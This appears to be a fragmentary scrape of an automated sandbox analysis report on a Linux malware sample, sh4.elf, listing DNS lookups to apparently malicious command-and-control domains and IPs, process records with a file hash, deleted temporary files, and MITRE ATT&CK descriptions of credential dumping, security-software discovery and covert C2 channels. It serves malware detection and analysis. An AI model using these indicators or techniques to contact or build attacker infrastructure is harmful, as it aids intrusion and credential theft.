Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 09:15:27.573328018 CET	194.36.144.87	192.168.2.15	0xa6be	No error (0)	chinklabs.dyn		185.150.24.67	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:15:30.250189066 CET	194.36.144.87	192.168.2.15	0x992f	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false

Start time (UTC):	08:15:25
Start date (UTC):	27/10/2024
Path:	/tmp/sh4.elf
Arguments:	/tmp/sh4.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	08:15:26
Start date (UTC):	27/10/2024
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report sh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0Nz5uF (deleted)

/tmp/qemu-open.0VRbhI (deleted)

/tmp/qemu-open.23swJI (deleted)

/tmp/qemu-open.2SxlpG (deleted)

/tmp/qemu-open.3Q4LrJ (deleted)

/tmp/qemu-open.3Rd5nI (deleted)

/tmp/qemu-open.3viY1I (deleted)

/tmp/qemu-open.4Sc6EG (deleted)

/tmp/qemu-open.5hqywI (deleted)

/tmp/qemu-open.7zEUsJ (deleted)

/tmp/qemu-open.86KAgH (deleted)

/tmp/qemu-open.99GVJG (deleted)

/tmp/qemu-open.9xJ1iF (deleted)

/tmp/qemu-open.ABuQqG (deleted)

/tmp/qemu-open.B6MISI (deleted)

/tmp/qemu-open.BQqKDI (deleted)

/tmp/qemu-open.C7yuNG (deleted)

/tmp/qemu-open.COKGuG (deleted)

/tmp/qemu-open.D6p9ZE (deleted)

/tmp/qemu-open.EsdM8E (deleted)

/tmp/qemu-open.FNYmrJ (deleted)

/tmp/qemu-open.FSVxOH (deleted)

/tmp/qemu-open.G0lRDG (deleted)

/tmp/qemu-open.GFohjH (deleted)

/tmp/qemu-open.GYbnGG (deleted)

/tmp/qemu-open.GeYs9F (deleted)

/tmp/qemu-open.GhGl4F (deleted)

/tmp/qemu-open.HS9mwH (deleted)

/tmp/qemu-open.Hq7OsF (deleted)

/tmp/qemu-open.JlSXzJ (deleted)

/tmp/qemu-open.K0gTeF (deleted)

/tmp/qemu-open.LYVc3G (deleted)

/tmp/qemu-open.M09uhH (deleted)

/tmp/qemu-open.NrG4pI (deleted)

Linux Analysis Report
sh4.elf

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre